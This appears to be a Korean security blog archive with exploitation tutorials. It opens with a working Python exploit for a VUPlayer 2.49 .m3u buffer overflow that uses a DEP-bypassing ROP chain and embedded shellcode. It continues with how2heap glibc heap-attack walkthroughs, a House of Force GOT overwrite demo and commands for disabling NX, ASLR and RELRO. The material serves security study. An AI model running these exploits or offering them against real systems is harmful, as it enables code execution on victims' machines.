OS : Windows XP Service Pack 3

Target : VUPlayer 2.49

 

VUPlayer 2.49 는 특정 Byte 이상 크기를 가진 .m3u 파일을 로드할 때, BOF 취약점이 발생한다.

DEP(Data Execution Prevention) 방어 기법으로 인해 단순히 RET 주소를 조작해서는 Exploit 에 성공할 수 없다. 이를 우회하기 위해 메모리에 실행 권한을 부여하여 Shellcode 를 실행하는 방법을 이용해 Exploit 하도록 한다.

OS 에 따라 사용이 불가능한 함수들이 존재한다.. 참고바람.

 

Exploit 의 편리성을 위한 Immunity Debugger 의 mona.py 기능들

[*] mona.py command

# !mona mod    # 방어 기법 사용 여부 및 기본 정보 제공

# !mona pattern_create [number of byte]    # 바이트 크기만큼의 정해진 패턴을 출력한다.

# !mona pattern_offset [pattern]    # 패턴 검색 기능 제공. 변조된 EIP 값이 가진 패턴을 넣어줄 때, EIP 변조 offset 을 출력한다.

# !mona rop    # rop 생성을 도와준다.

# !mona -m [module name]    # 지정한 모듈에서 rop 가젯 검색

# !mona -n    # null byte 로 시작하는 모듈을 제외한 모든 가젯 검색

 

# exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import struct
 
= lambda x : struct.pack("<L", x)
 
= open('roptest.m3u''w')
 
 
shellcode = ("\x31\xc9\xbd\x90\xb7\x29\xb8\xd9\xf7\xd9\x74\x24\xf4\xb1\x1e"
 + "\x58\x31\x68\x11\x03\x68\x11\x83\xe8\x6c\x55\xdc\x44\x64\xde"
 + "\x1f\xb5\x74\x54\x5a\x89\xff\x16\x60\x89\xfe\x09\xe1\x26\x18"
 + "\x5d\xa9\x98\x19\x8a\x1f\x52\x2d\xc7\xa1\x8a\x7c\x17\x38\xfe"
 + "\xfa\x57\x4f\xf8\xc3\x92\xbd\x07\x01\xc9\x4a\x3c\xd1\x2a\xb7"
 + "\x36\x3c\xb9\xe8\x9c\xbf\x55\x70\x56\xb3\xe2\xf6\x37\xd7\xf5"
 + "\xe3\x43\xfb\x7e\xf2\xb8\x8a\xdd\xd1\x3a\x4f\x82\x28\xb5\x2f"
 + "\x6b\x2f\xb2\xe9\xa3\x24\x84\xf9\x48\x4a\x19\xac\xc4\xc3\x29"
 + "\x27\x22\x90\xea\x5d\x83\xff\x94\x79\xc1\x73\x01\xe1\xf8\xfe"
 + "\xdf\x46\xfa\x18\xbc\x09\x68\x84\x43")
 
 
 
payload = 'A'* 1012
 
# edi -> ret
payload += p(0x100190b0)    # pop edi   # ret
payload += p(0x1001dc05)    # ret
 
 
# esi -> virtualprotect()
payload += p(0x10015f77)    # pop eax   # ret
payload += p(0x10109270)    # IAT &VirtualProtect()
payload += p(0x1001eaf1)    # mov eax, [eax]
payload += p(0x10030950)    # xchg eax, esi     # ret
 
# ebp -> jmpesp
payload += p(0x100106e1)
payload += p(0x10022aa7)
 
 
# ebx -> 0x201(dwSize)
payload += p(0x10015f77)    # pop eax   # ret
payload += p(0xfffffdff)
payload += p(0x10014db4)    # neg
payload += p(0x10032f72)    # xchg eax, ebx
 
 
# edx -> 0x40(flNewProtect)
payload += p(0x10015f77)    # pop eax   # ret
payload += p(0xffffffc0)
payload += p(0x10014db4)    # neg
payload += p(0x10038a6c)    # xchg eax, edx
 
 
# ecx -> &writable location
payload += p(0x100163c7)
payload += p(0x1060d0ca)
 
# eax = 0x90909090
payload += p(0x10015f77)
payload += p(0x90909090)
 
 
# PUSHAD
payload += p(0x1001d7a5)    # PUSHAD    # ret
 
 
# shellcode
payload += shellcode
 
f.write(payload)
f.close()
 
cs

 

- 참고 -

1. ASLR 기법으로 인해 Exploit 이 힘들어져 VirtualProtect() 의 IAT 주소를 먼저 가져온 후, VirtualProtect() 함수 주소를 받아옴.

2. Exploit Code 를 보면 ebp -> # jmp esp 가젯이 담긴 주소가 들어가 있다.  stdcall 규약에서의 ret 은 ebp 레지스터에 의존.

3. PUSHAD    # 레지스터의 백업 용도로 사용.   순서 : EAX → ECX → EDX → EBX → ESP → EBP → ESI →EDI

각각의 레지스터에 필요한 인자 값과 가젯들을 설정한 후, PUSHAD 명령어를 통해 쉽게 스택에 인자 구성이 가능하다.

 

Posted by woodonggyu

댓글을 달아 주세요

arm in qemu

system 2018. 2. 10. 18:45

Qemu 에서 ARM debian 실행

# apt-get install qemu

# wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
# wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
# wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

 

* CUI 환경 + 인터넷 사용

# qemu-system-arm -M vexpress-a9 \
    -kernel vmlinuz-3.2.0-4-vexpress \
    -initrd initrd.img-3.2.0-4-vexpress \
    -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
    -append "root=/dev/mmcblk0p2 console=ttyAMA0" \
    -redir tcp:10022::22 -redir tcp:10080::80
    -nographic

Posted by woodonggyu

댓글을 달아 주세요

2017년 KUCIS 영남권 세미나에서 제가 발표했던 "Heap Exploitation Techniques" 발표자료 입니다.

Heap Exploitation Techniques.pptx

 

Posted by woodonggyu

댓글을 달아 주세요

# 환경은 ubuntu 16.04 64bit 에서 진행했습니다.

# House of Einherjar 는 malloc() 에 의해 반환 된 포인터를 제어하기 위해 null byte 로 off-by-one 오버플로우를 사용한다.

# 이 기술은 Poison Null Byte 보다 더 강력한 원초적인 기술이지만, 추가적으로 heap leak 이 필요하다.

 

 

포인터 변수 a, b, c, d 선언한다. 그리고 우리는 'a' 에 0x38 bytes 만큼 할당한다. 

우리는 'a' 에 overflow 를 원하기 때문에, 0x38 을 반올림 한 후의 'a' 의 실제 크기가 필요하다. 

a : 0x603420

real_a_size : 0x38 

 

 

우리는 우리가 원하는 어느 곳이든 fake chunk 를 만든다. 이 글에서 우리는 stack 에 chunk 를 만들 것이다.

그러나, 너는 그 주소를 아는 한 heap 이든 bss 든 chunk 를 만들 수 있다.

우리는 unlink checks 를 우회하기 위해 fwd 와 bck 포인터들을 fake_chunk 를 가리키도록 설정한다.

그러나 우리는 일부의 시나리오에서 unsafe unlink 기술을 사용할 수 있다.

 

Our fake chunk at 0x7fffffffe4d0 looks like:

prev_size (not used): 0x41414141

size : 0x100

fwd : 0x7fffffffe4d0

bck : 0x7fffffffe4d0

 

 

우리는 'b' 에 0xf8 bytes 만큼 할당한다. 그리고 우리는 3rd chunk 를 'c' 에 0x60 bytes 만큼 할당한다.

 

b : 0x603460

real_b_size : 0xf8

c : 0x603560

 

 

우리는 'a' 에서 single null byte 를 'b' 의 메타 데이터에 overflow 한다. 

 

[ overflow 전 ]

b_size_ptr : 0x603458 -> 0x101

b.size : 0x101

 

[ overflow 후 ]

b.size : 0x100

 

이것은 b.size 가 0x100 의 배수라면 가장 쉽다. 너는 b 의 size 를 바꿀 필요 없이 오직 prev_inuse bit 만 바꾸면 된다.

만약 그것이 변경되었다면, 우리는 다음 chunk 를 병합하려고 하는 b 의 안에 fake chunk 가 필요할 것이다.

 

 

// a 의 끝에 fake prev_size 를 쓰자.

우리는 fake prev_size 를 a 의 마지막 8 byte 에 작성하여 그것이 우리의 fake chunk 와 병합시키도록 할 것이다.

우리의 fake prev_size 는 0x603450(b - prev_size -> 0x0) - 0x7fffffffe4d0(fake chunk - prev_size -> 0x41414141) = 0xffff800000604f80

 

fake size : 0x7fffffffe4c0 -> 0xffff800000604f80

&a[0x38] - 0x8 = 0xffff800000604f80    // 0x603450 -> 0xffff800000604f80

 

// 'b' 를 free 하고 그것은 fake chunk 와 병합할 것이다.

이제 우리는 b 를 free 하고, b 의 prev_inuse 가 unset 이기 때문에 이것은 fake chunk 와 병합할 것이다.

 

Our fake chunk size is now 0xffff800000605081 (b.size + fake_prev_size)

우리는 fake chunk 를 수정할 수 있고, 그것은 크기 검사를 통과할 수 있을 정도로 작다.

만약 fake chunk 가 top chunk 라면 ( 'c' 를 할당하지 않았다면 ) 필요하지 않다.

 

 

새로운 fake_chunk size : 0x1000

지금 우리는 malloc() 을 호출할 수 있고, 그것은 fake chunk 에서부터 시작할 것이다.

 

d = 0x7fffffffe4e0

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

x32, x64 에서의 fastbin 크기가 다르다.

E.g. on x64, 0x30-0x38 will all be rounded to 0x40.

'system' 카테고리의 다른 글

arm in qemu  (0) 2018.02.10
2017년 KUCIS 영남권 세미나  (0) 2017.06.30
[how2heap translation] house_of_einherjar.c  (0) 2017.06.26
[how2heap translation] overlapping_chunk.c  (0) 2017.06.26
[how2heap translation] house_of_lore.c  (0) 2017.06.21
[how2heap translation] poison_null_byte.c  (0) 2017.06.19
Posted by woodonggyu

댓글을 달아 주세요

테스트 환경은 ubuntu 14.04 32bit 환경에서 진행했습니다.

 

우선 heap 에 3 chunks 를 할당하고, memset 을 통해 각각의 chunk 를 초기화한다.

p1 : 0x0804b008

p2 : 0x0804b108

p3 : 0x0804b208

 

 

p2 를 free 한다. p2 는 이제 동일한 크기의 새로운 malloc 할당을 대비해 unsorted bin 에 들어가게 된다.

 

 

이제 free 된 chunk 의 크기를 overwrite 할 수 있는 overflow 를 시뮬레이션 하자.

교육용 프로그램에서 size 의 마지막 3bit 는 중요하지 않지만 힙의 안정성을 유지하는 것이 좋다.

이 안정성을 유지하기 위해, 우리는 prev_inuse bit 를 설정함으로써 p1 chunk 가 free chunk 로 오인하지 않음을 보장한다.

우리는 chunk p2 크기를 385 로 셋팅하고, 우리에게 주어진 영역의 크기는 376(385 - chunk header) 이다.

 

*(p2-1) = evil_chunk_size;     // 우리는 chunk p2 의 size 필드를 0x181 의 값으로 overwrite 한다.

 

 

이제 우리가 chunk p2 의 size 필드를 overwrite 했던 0x181 과 같은 크기의 또 다른 chunk 를 할당한다.

이 malloc 은 크기가 변경된 unsorted bin 에 저장되어 있는 이전의 free chunk 로부터 제공받을 것이다.

 

p4 has been allocated at 0x0804b108 and ends at 0x0804b6e8

p3 starts at 0x0804b208 and ends at 0x0804b288

p4 는 p3 과 overlap 된다. 이 경우 p4 는 p3  을 포함한다.

 

 

이제 chunk p4 에 복사된 모든 내용이 chunk p3 의 데이터를 overwrite 할 수 있다.

그리고 마찬가지로, chunk p3 에 쓰여진 값은 chunk p4 에 저장된 값을 덮어쓸 수 있다.

 

예제를 통해 실행보자. 지금 우리는 다음과 같은 값을 가진다.

p4 : 2222222222222222222222222222222...

p3 : 3333333333333333333333333333333...

 

만약 memset(p4, '4', evil_region_size); 를 실행한다면, 우리는 다음과 같은 값을 가진다.

p4 : 4444444444444444444444444444444...

p3 : 4444444444444444444444444444444...

 

만약 memset(p3, '3', 80); 를 실행한다면, 우리는 다음과 같은 값을 가진다.

p4 : 4444444444444444333333333333333...

p3 : 3333333333333333333333333333333...

 

끝.

Posted by woodonggyu

댓글을 달아 주세요

House of Lore - Malloc Maleficarum 의 확장된 공격

이 PoC 는 glibc 의 smallbin corruption 에 대해서도 다룬다.

 

 

이것은 glibc malloc 에서 동작하는 체크를 우회하기 위한 업그레이드 버전이다.

ubuntu 14.04.4 - 32bit - glibc-2.23 환경에서 테스트 되었다.

 

가장 먼저 stack_buffer_1 과 stack_buffer_2 의 주소 값들을 초기화한다.

그리고, victim chunk 를 100byte 크기만큼 할당한다.

victim : 0x804c008

 

 

victim_chunk 포인터 변수에 victim - 2 의 주소를 넣는다.

stack_buffer_1 : 0xbffff6c0

stack_buffer_2 : 0xbffff6b4

 

stack 에 fake chunk 를 만들어준다. small bin corrupted 체크를 우회하기 위해 fwd pointer 를 victim_chunk 로 설정한다. 

bk pointer 를 stack_buffer_2 로 설정한다. 그리고 fwd pointer 는 stack_buffer_1 을 가리켜야 한다.

이렇게 설정하게 되면 bck = victim->bk 체크를 우회할 수 있다.

 

 

free 함수 진행 중에 top chunk 와의 병합을 피하기 위해서 large chunk 를 하나 할당한다.

large chunk : 0x804c070

 

victim(0x804c008) 을 free 하고 그것은 unsorted bin 에 삽입될 것이다.

 

 

unsorted bin 안의 victim's fwd 와 bk 포인터들은 nil..

victim->fwd : 0xb7fc0450

victim->bk : 0xb7fc0450

 

이제 unsorted bin 또는 small bin 에 영향을 받지 않는 청크를 malloc 으로 할당하자.

이는 victim(0x804c008) 은 smallbin 의 맨 앞쪽에 삽입될 것이다.

 

 

p2 : 0x804c460

victim->fwd : 0xb7fc04b0

victim->bk : 0xb7fc04b0

 

victim chunk 는 정리되어지고 fwd 와 bk 포인터들은 업데이트 되었다.

 

 

이제 victim->bk pointer 를 stack_buffer_1 의 주소로 덮어써서 취약점을 에뮬레이팅 한다.

 

 

이제 처음 free 되었던 chunk 의 size 만큼 할당한다. 이는 덮어써진 victim chunk 를 return 하고 bin->bk 에 victim->bk 포인터가 들어간다.

결과적으로 bk 포인터를 조작하여 한번 더 malloc 을 했을 때 glibc 가 bin->bk 에 있는 chunk 를 리턴하게 된다.

 

The fwd pointer of stack_buffer_2 has changed after the last malloc to 0xb7fc04b0

p4 is 0xbffff6c8 and should be on the stack!

 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

문서를 보면서 따라했지만 조금 헷갈려서 내가 이해한 내용 정리.. (잘못 이해했다면 알려주시길..)

1. small bin 크기의 chunk 할당. -> top chunk 와의 병합을 피하기 위해 large chunk 하나 더 할당.

2. bck->fd != victim 을 우회하기 위해서 stack 에 fake chunk 설정해야함.

 

3. 이 fake chunk 가 어떻게 bck->fd != victim 을 우회할 수 있는지 그림을 통해 보자.

현재 p3 = malloc(100); 을 하기 바로 직전의 메모리 모습이다.

우리가 이전에 free 했던 chunk 와 같은 크기의 small bin chunk 를 할당할 때,

 

bck = victim->bk;

if (__glibc_unlikely(bck->fd != victim)) {

 

위와 같은 검증 과정을 거치게 된다. 이 때 victim : 0x0804c000 이고, victim->bk 는 우리가 overwrite 했던 stack_buffer_1(0xbffff6c0) 의 주소이다. 즉 bck = 0xbffff6c0 이 되고, bck->fd == 0xbffff6c0 + 0x8 과 동일하다.

위의 그림에서 0xbffff6c0 + 0x8 의 값은 0x0804c000 이고, bck->fd == victim 은 같으므로 검증을 우회한다.

즉, stack_buffer_1[2] = victim_chunk 를 넣은 이유는 이러한 검증 과정 우회를 위한 것이다.

 

4. 정상적으로 위의 검증을 우회하면

...

bin->bk = bck;

...

malloc 이 정상적으로 수행이 되고 이전에 free 했던 영역을 반환 받는다. 그리고 bin->bk 에 0xbffff6c0 값이 들어가게 되고, 마지막 malloc 은 glibc malloc 을 속여 bin->bk 에 삽입된 위치의 chunk 를 반환해야 한다.

즉, void *p4 = malloc(100); 을 수행하면서 p4 :0xbffff6c8 을 반환받는다. 

 

Posted by woodonggyu

댓글을 달아 주세요

다른 how2heap 의 내용보다 길기에 끊어서 설명하도록 하겠다..

poison null byte 2.0 에 온 거 환영한다@@

이거는 ubuntu 14.04 64bit 에서 진행했고~ 이 기술은 malloc 영역에 널바이트 off-by-one 이 있을 때 사용 가능하다.

 

0x100, 0x200, 0x100 만큼 malloc 해서 각각 a, b, c 변수에 반환된 주소 값 들어간다.

a : 0x603420

b : 0x603530

c : 0x603740

real_a_size : 0x108

b_size_ptr : 0x211

 

malloc_usable_size() 같은 경우 chunk 크기에서 다음 chunk 의 prev_size 까지 포함한 크기라고 함.

free 된 chunk 의 경우 이 값이 0 이지만, fastbin 에서는 prev_inuse bit 이 setting 되어 있기에 원래의 크기 반환한다.

 

이 기술은 free chunk 의 size metadata 를 overwrite 함으로써 이뤄진다.

우리는 'a' 의 overflow 를 이용해 'b' 의 metadata 에 하나의 널 바이트를 덮어쓰도록 한다.

-> free 된 b 의 size 를 0x200 으로 바꾸면서 unsorted bin 안에 있는 b 의 size 가 0x200 으로 바뀜..

 

b_size_ptr : 0x211 -> 0x200

c_prev_size_ptr : 0x210

보통 chunk size 는 metadata 가 차지하는 영역을 포함하기 때문에 chunk size 는 최하위 비트로 0x00 을 가질 수 없다.

 

b1 : 0x603530

c_prev_size_ptr : 0x210

c - 0x20 : 0xf0  <- c_prev_size 의 바뀐 값.

b1 을 malloc 했을 때 ,'b' 가 있던 곳에 배치된다. 이 시점에서 c 의 prev_size 는 update 되어야 하는데 그렇지 않았다.

흥미롭게도, c_prev_size 의 바뀐 값은 c_prev_size 의 -0x10bytes 자리에 쓰여진다. 

// 일반적으로 b2 (희생자) 는 우리가 제어하고자 하는 유용한 포인터가 있는 구조가 될 것이다.

 

b2 : 0x603640

b2 를 malloc 한 후, b2 영역에 'B' 를 0x80 만큼 넣는다.

 

잠시 메모리 상황을 보자. 가장 먼저 b1 을 볼 수 있고, 0x603640 에 b2 에 우리가 넣은 문자열들을 볼 수 있다.

그리고 c 의 prev_size 값이 여전히 0x210 인 것을 확인할 수 있다.

 

이제 'b1' 과 'c' 를 free 하자. 이것은 'b1' 과 'c' 를 병합할 것이다. ('b2' 에 관해서는 잊은 채)

 

d : 0x603530

 

마침내, 우리는 'd' 를 할당한다. 그리고 'b2' 와 overlapping 됨~

이를 확인하기 위해 'd' 영역에 0x300 만큼의 문자열을 넣고 확인해보자.

 

'd' 와 'b2' 가 오버래핑 되어 'b2' 에 값을 쓸 수 있따!

Posted by woodonggyu

댓글을 달아 주세요

해당 옵션이나 명령들은 Ubuntu 에서 사용했슴다

 

# gcc -z execstack -o test test.c    //    컴파일 시 nx 해체

# sysctl-w kernel.exec-shield=0    //    nx 해체

# sysctl-w kernel.exec-shield=1    //    nx 설정

 

# gcc -fno-stack-protector -o test test.c    //   ssp 해체

 

# gcc -mpreferred-stack-boundary=2    //    dummy 값 고정

 

# sysctl -w kernel.randomize_va_space=0    //    aslr 해체

# sysctl -w kernel.randomize_va_space=1    //    stack aslr 설정

# sysctl -w kernel.randomize_va_space=2    //    stack, heap aslr 설정

# ulimit -s unlimited    //    aslr 일시적 해체

 

# gcc -Wl, -z, relro -o test test.c    //    Partial RELRO

# gcc -Wl, -z, relro, -z, now    //    Full RELRO

# gcc -z norelro -o test test.c    // No RELRO

 

# -mpreferred-stack-boundary=2

Posted by woodonggyu

댓글을 달아 주세요

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
/*
   이 POC 는 ASLR 활성화 된 상태에서도 작동한다.
   GOT 엔트리를 overwrite 하기 때문에 기술을 정확하게 적용하기 위해서 RELRO 를 비활성화해야 한다.
   RELRO 가 활성화 된 경우 Malloc Des Maleficarum 에서 제안한 대로 스택에서 항상 chunk 를 반환할 수 있다. 
   ( http://phrack.org/issues/66/10.html )
   Tested in Ubuntu 14.04, 64bit.
    

 

 * top chunk : Heap 에서 사용가능한 공간을 표현하며, 사이즈가 커질 수 있는 유일한 chunk

 

               어떠한 bin 에 속하지 않으며, heap 영역의 마지막에 위치한다. 
               다른 free chunk 들이 메모리 할당 요청을 만족하지 못하는 경우에만 top chunk 를 분할하여 요청을 처리한다.
               현재 top chunk 크기로도 처리할 수 없는 경우 sbrk() 함수를 통해 heap 영역을 확장하여 top chunk 의 크기를 늘린 후 요청을 처리한다.
*/
 
 
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
 
char bss_var[] = "This is a string that we want to overwrite.";
 
int main(int argc , char* argv[])
{
    printf("\nWelcome to the House of Force\n\n");
    printf("House of Force의 개념은 top chunk 를 덮어쓰고, malloc 이 임의의 값을 반환하도록 하는 것이다.\n");
    printf("top chunk 는 특별한 chunk 이다. 이는 메모리의 마지막에 위치하고, malloc 이 더 많은 공간을 os 에 요청할 때 크기가 재설정된다.\n");
 
    printf("\n끝에서, 우리는 %p 에 존재하는 값을 덮어쓸 것이다.\n", bss_var);
    printf("Its current value is: %s\n", bss_var);
 
 
 
    printf("\n첫 번째 chunk를 할당하고, 넓은 공간을 확보하자.\n");
    intptr_t *p1 = malloc(256);
    printf("256byte chhunk 가 %p 에 할당되었다.\n", p1);
 
    printf("\n이제 힙은 우리가 할당한 chunk 와 top chunk, 2개의 chunk 로 구성된다.\n");
    int real_size = malloc_usable_size(p1);
    printf("할당 된 chunk 의 실제 size 는 %d 이다.\n", real_size);
 
    printf("\n이제 Top Chunk 의 header를 덮어쓸 수 있는 취약점을 에뮬레이팅 해보자.\n");
 
    //----- VULNERABILITY ----
    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
    printf("\ntop chunk 의 시작 주소는 %p 이다.\n", ptr_top);
 
    printf("\ntop chunk 의 크기를 큰 값으로 덮어서 malloc() 이 mmap()을 절대 호출하지 않도록 할 수 있다.\n");
    printf("top chunk 의 원래 size : %#llx\n"*((unsigned long long int *)ptr_top));
    ptr_top[0= -1;
    printf("top chunk 의 새로운 size : %#llx\n"*((unsigned long long int *)ptr_top));
    //------------------------
 
    printf("\n이제 top chunk 의 size 가 최대값이므로 우리는 mmap() 호출하지 않고, malloc() 으로 어떤 크기던 할당할 수 있다.\n"
       "다음으로, 우리는 interger overflow 를 이용해 원하는 메모리 바로 앞까지 chunk 를 할당할 것이다. \n"
       "그러면 이제 우리가 할당한 chunk 는 원하는 메모리로 들어가게 된다.\n");
 
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
    printf("\n메모리에 할당할 주소는 %p 이고, top chunk 의 주소는 %p, 따라서 header size 를 계산해보면\n"
       "우리는 %#lx bytes 를 할당할 것이다.\n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    printf("예상대로 새로운 pointer 는 원래 top chunk 가 위치한 자리에 할당된다.\n", new_ptr);
 
    void* ctr_chunk = malloc(100);
    printf("\이제 우리가 덮어 쓴 next chunk 는 target buffer 를 가리킬 것이다.\n");
    printf("malloc(100) => %p!\n", ctr_chunk);
    printf("마침내 우리는 값을 덮어쓸 수 있다.\n");
 
    printf("... old string: %s\n", bss_var);
    printf("... strcpy로 \"YEAH!!!\"를 덮는다....\n");
    strcpy(ctr_chunk, "YEAH!!!");
    printf("... new string: %s\n", bss_var);
 
 
    // some further discussion:
    //printf("This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
    //printf("This because the main_arena->top pointer is setted to current av->top + malloc_size "
    //    "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
    //printf("In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
    //printf("The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
    //printf("After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
    //    "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
 
    //printf("The large chunk with evil_size has been allocated here 0x%08x\n",p2);
    //printf("The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
 
    //printf("This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
 
cs

House of Force 기법을 사용하기 위해서는 top chunk 를 덮을 수 있어야 하고, 사용자가 size 를 컨트롤할 수 있는 malloc 이 호출되어야 한다. 그리고 한 번 추가적으로 malloc 호출되어야 한다.

이를 통해, malloc() 호출 시 공격자는 원하는 임의의 포인터를 반환받을 수 있다.

 

아래의 간단한 예제 코드를 보자. aslr, nx, relro 등이 설정되지 않도록 컴파일 했다.

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {

        char *buf1, *buf2, *buf3;

        buf1 = malloc(256);
        strcpy(buf1, argv[1]);

        buf2 = malloc(strtoul(argv[2], NULL, 16));

        buf3 = malloc(256);
        strcpy(buf3, argv[3]);

        free(buf3);
        free(buf2);
        free(buf1);

        return 0;
}

strcpy(buf1, argv[1]); -> overflow 취약점이 발생하여 top chunk 를 overwrite 할 수 있다.

buf2 = malloc(strtoul(argv[2], NULL, 16)); -> 사용자가 컨트롤할 수 있는 malloc 또한 호출된다.

그리고 추가적으로 buf3 = malloc(256); 이 호출된다.

 

0x601118 주소에 위치한 값은 원래 top chunk 값이 들어가는 부분인데 0xffffffffffffffff 로 overwrite 했다.

이로써 다음 malloc 호출 시 충분히 큰 size 의 malloc 을 호출 할 수 있다.

 

위에서 top chunk 를 덮는 이유이다. av->top 의 값이 victim 변수에 들어가고, size 변수는 victim 만큼의 크기를 가진다.

즉, av->top 을 0xffffffffffffffff 으로 overwrite 함으로써 malloc() 호출 시 충분히 큰 사이즈를 할당할 수 있다.

 

이제 2번째 malloc 의 크기를 컨트롤해야 한다. 이 부분을 통해 3번째 malloc() 호출 시 우리가 원하는 임의의 포인터를 얻을 수 있다.

(gdb) x/x 0x600a38 - 0x10 - 0x601118    // free@got - 0x10(chunk header) - &top chunk

0xfffffffffffff910: Cannot access memory at address 0xfffffffffffff910

 

2번 째 malloc 의 사이즈를 0xfffffffffffff910 로 설정했더니 3번 째 malloc() 호출 시 0x600a40 이 리턴된다. 그래서 사이즈를 다시 조절해서 0xfffffffffffff908 로 설정하니 0x600a30 이 리턴된다. 이런 식으로 약간의 조절을 통해 리턴받을 주소를 조절할 수 있다.

 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - gdb-peda$ r `perl -e 'print "A"x264, "\xff\xff\xff\xff\xff\xff\xff\xff"'` `perl -e 'print "fffffffffffff908"'` `perl -e 'print "BBBBBBBBBBBB"'`

 

gdb-peda$ x/3i 0x400470
   0x400470 <free@plt>: jmp    QWORD PTR [rip+0x2005c2]        # 0x600a38
   0x400476 <free@plt+6>: push   0x0
   0x40047b <free@plt+11>: jmp    0x400460

 

gdb-peda$ x/40x 0x600a30
0x600a30: 0x4242424242424242 0x0000000042424242

 

Stopped reason: SIGSEGV

0x0000000042424242 in ?? ()
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

결과적으로, 3번 째 malloc() 호출하고 이 공간에 data 를 입력받는다면 free@got 뿐만 아니라 그 외 원하는 주소를 덮어씌울 수도 있다.

Posted by woodonggyu

댓글을 달아 주세요

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    printf("This file demonstrates the house of spirit attack.\n");
 
    printf("Calling malloc() once so that it sets up its memory.\n");
    malloc(1);
 
    printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
 
    printf("This region must contain two chunks. The first starts at %p and the second at %p.\n"&fake_chunks[1], &fake_chunks[7]);
 
    printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1= 0x40// this is the size
 
    printf("The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .\n");
    fake_chunks[9= 0x2240// nextsize
 
    printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n"&fake_chunks[1]);
    printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    a = &fake_chunks[2];
 
    printf("Freeing the overwritten pointer.\n");
    free(a);
 
    printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n"&fake_chunks[1], &fake_chunks[2]);
    printf("malloc(0x30): %p\n"malloc(0x30));
}
 
 
cs

 

간단하게 말하자면,

"Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer."

가짜 fastbin chunk 를 free 시켜서 malloc 할당 시 임의의 포인터를 반환하도록 한다. 즉, 이를 통해 우리가 원하는 곳에 값을 쓸 수 있다.

heap overflow 를 통한 fd overwrite 와 다른 점은, House of Spirit 는 free 의 목표 주소를 변조하여 fake chunk 를 fastbin 에 넣고, 그 뒤에 malloc 을 통해 fake chunk 를 반환받는다.

 

* example code

 

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

 

int main(int argc, char *argv[]) {

void *p = malloc(32);

char buf[8];

 

read(0, buf, 0x80);

 

free(p);

 

malloc(32);

}

위 코드에서 데이터를 read 하여 buf 에 저장 시, 오버플로우를 통해 fake chunk 를 만들고 p 를 fake chunk 에 대응하는 메모리 주소로 수정이 가능하다.

 

malloc.c 의 코드를 보면 위 그림과 같은 부분이 존재하는데, glibc 에서 free 할 때 뒤에 인접한 chunk 의 크기를 검사한다.

따라서, fake chunk 뒤에 next fake chunk 또한 필요하다.

next fake chunk 의 사이즈가 SIZE_SZ*2 보다 작거나 av->system_mem 보다 크지 않으면 된다.

 

fastbin 에 fake chunk 주소가 free 되어 들어간 것을 확인할 수 있다.

다음 malloc(32) 실행 시, malloc(32) 에서 반환하는 주소는 0xbffff6e0 이 된다.

Posted by woodonggyu

댓글을 달아 주세요